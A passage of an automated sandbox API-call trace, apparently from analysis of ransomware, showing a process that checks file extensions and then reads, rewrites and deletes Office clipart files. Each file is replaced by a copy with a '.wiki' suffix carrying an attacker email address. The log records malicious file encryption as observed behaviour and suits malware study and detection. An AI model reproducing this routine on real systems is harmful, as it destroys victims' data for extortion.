(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.691] lstrlenW (lpString=".doc") returned 4 [0195.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.691] lstrlenW (lpString=".docx") returned 5 [0195.691] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.691] lstrlenW (lpString=".pdf") returned 4 [0195.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.691] lstrlenW (lpString=".xls") returned 4 [0195.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.691] lstrlenW (lpString=".xlsx") returned 5 [0195.691] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.691] lstrlenW (lpString=".ppt") returned 4 [0195.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.691] lstrlenW (lpString=".zip") returned 4 [0195.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.691] lstrlenW (lpString=".rar") returned 4 [0195.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.691] lstrlenW (lpString=".bz2") returned 4 [0195.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.691] lstrlenW (lpString=".7z") returned 3 [0195.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.692] lstrlenW (lpString=".dbf") returned 4 [0195.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.692] lstrlenW (lpString=".1cd") returned 4 [0195.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.692] lstrlenW (lpString=".jpg") returned 4 [0195.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.692] lstrlenW (lpString=".doc") returned 4 [0195.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString=".docx") returned 5 [0195.692] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.692] lstrlenW (lpString=".pdf") returned 4 [0195.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString=".xls") returned 4 [0195.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.692] lstrlenW (lpString=".xlsx") returned 5 [0195.692] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.692] lstrlenW (lpString=".ppt") returned 4 [0195.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.692] lstrlenW (lpString=".zip") returned 4 [0195.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.692] lstrlenW (lpString=".rar") returned 4 [0195.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.692] lstrlenW (lpString=".bz2") returned 4 [0195.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.693] lstrlenW (lpString=".7z") returned 3 [0195.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.693] lstrlenW (lpString=".dbf") returned 4 [0195.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.693] lstrlenW (lpString=".1cd") returned 4 [0195.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0195.693] lstrlenW (lpString=".jpg") returned 4 [0195.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.693] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.693] lstrlenW (lpString="J0107744.WMF") returned 12 [0195.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.693] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5004) returned 1 [0195.694] CloseHandle (hObject=0x1f8) returned 1 [0195.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 0x20 [0195.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.694] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.694] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.694] GetLastError () returned 0x0 [0195.694] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x138c, lpOverlapped=0x0) returned 1 [0195.696] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1390, lpOverlapped=0x0) returned 1 [0195.697] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.697] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.697] SetEndOfFile (hFile=0x1f0) returned 1 [0195.697] CloseHandle (hObject=0x1f0) returned 1 [0195.697] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.697] SetEndOfFile (hFile=0x1f8) returned 1 [0195.698] CloseHandle (hObject=0x1f8) returned 1 [0195.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0195.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.698] lstrlenW (lpString=".doc") returned 4 [0195.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.698] lstrlenW (lpString=".docx") returned 5 [0195.698] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.699] lstrlenW (lpString=".pdf") returned 4 [0195.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString=".xls") returned 4 [0195.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.699] lstrlenW (lpString=".xlsx") returned 5 [0195.699] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.699] lstrlenW (lpString=".ppt") returned 4 [0195.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.699] lstrlenW (lpString=".zip") returned 4 [0195.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.699] lstrlenW (lpString=".rar") returned 4 [0195.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString=".bz2") returned 4 [0195.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString=".7z") returned 3 [0195.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.699] lstrlenW (lpString=".dbf") returned 4 [0195.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.699] lstrlenW (lpString=".1cd") returned 4 [0195.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.699] lstrlenW (lpString=".jpg") returned 4 [0195.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.699] lstrlenW (lpString=".doc") returned 4 [0195.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString=".docx") returned 5 [0195.700] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.700] lstrlenW (lpString=".pdf") returned 4 [0195.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString=".xls") returned 4 [0195.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.700] lstrlenW (lpString=".xlsx") returned 5 [0195.700] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.700] lstrlenW (lpString=".ppt") returned 4 [0195.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.700] lstrlenW (lpString=".zip") returned 4 [0195.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.700] lstrlenW (lpString=".rar") returned 4 [0195.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString=".bz2") returned 4 [0195.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString=".7z") returned 3 [0195.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.700] lstrlenW (lpString=".dbf") returned 4 [0195.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.700] lstrlenW (lpString=".1cd") returned 4 [0195.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0195.700] lstrlenW (lpString=".jpg") returned 4 [0195.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.701] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.701] lstrlenW (lpString="J0107746.WMF") returned 12 [0195.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.701] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4788) returned 1 [0195.701] CloseHandle (hObject=0x1f8) returned 1 [0195.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 0x20 [0195.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.701] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.701] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.702] GetLastError () returned 0x0 [0195.702] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x12b4, lpOverlapped=0x0) returned 1 [0195.706] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0195.707] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.707] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.707] SetEndOfFile (hFile=0x1f0) returned 1 [0195.707] CloseHandle (hObject=0x1f0) returned 1 [0195.709] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.709] SetEndOfFile (hFile=0x1f8) returned 1 [0195.710] CloseHandle (hObject=0x1f8) returned 1 [0195.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0195.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.711] lstrlenW (lpString=".doc") returned 4 [0195.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString=".docx") returned 5 [0195.711] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.711] lstrlenW (lpString=".pdf") returned 4 [0195.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString=".xls") returned 4 [0195.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.711] lstrlenW (lpString=".xlsx") returned 5 [0195.711] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.711] lstrlenW (lpString=".ppt") returned 4 [0195.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.711] lstrlenW (lpString=".zip") returned 4 [0195.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.711] lstrlenW (lpString=".rar") returned 4 [0195.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString=".bz2") returned 4 [0195.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString=".7z") returned 3 [0195.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.711] lstrlenW (lpString=".dbf") returned 4 [0195.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.711] lstrlenW (lpString=".1cd") returned 4 [0195.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.711] lstrlenW (lpString=".jpg") returned 4 [0195.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.712] lstrlenW (lpString=".doc") returned 4 [0195.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString=".docx") returned 5 [0195.712] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.712] lstrlenW (lpString=".pdf") returned 4 [0195.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString=".xls") returned 4 [0195.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.712] lstrlenW (lpString=".xlsx") returned 5 [0195.712] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.712] lstrlenW (lpString=".ppt") returned 4 [0195.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.712] lstrlenW (lpString=".zip") returned 4 [0195.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.712] lstrlenW (lpString=".rar") returned 4 [0195.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString=".bz2") returned 4 [0195.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString=".7z") returned 3 [0195.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.712] lstrlenW (lpString=".dbf") returned 4 [0195.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.712] lstrlenW (lpString=".1cd") returned 4 [0195.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0195.713] lstrlenW (lpString=".jpg") returned 4 [0195.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.713] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.713] lstrlenW (lpString="J0107748.WMF") returned 12 [0195.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.713] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8224) returned 1 [0195.713] CloseHandle (hObject=0x1f8) returned 1 [0195.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 0x20 [0195.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.714] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.714] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.714] GetLastError () returned 0x0 [0195.714] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2020, lpOverlapped=0x0) returned 1 [0195.716] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2030, lpOverlapped=0x0) returned 1 [0195.717] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.717] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.717] SetEndOfFile (hFile=0x1f0) returned 1 [0195.717] CloseHandle (hObject=0x1f0) returned 1 [0195.717] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.717] SetEndOfFile (hFile=0x1f8) returned 1 [0195.718] CloseHandle (hObject=0x1f8) returned 1 [0195.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0195.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.719] lstrlenW (lpString=".doc") returned 4 [0195.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString=".docx") returned 5 [0195.719] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.719] lstrlenW (lpString=".pdf") returned 4 [0195.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString=".xls") returned 4 [0195.719] lstrcmpiW (lpString1=".xls", 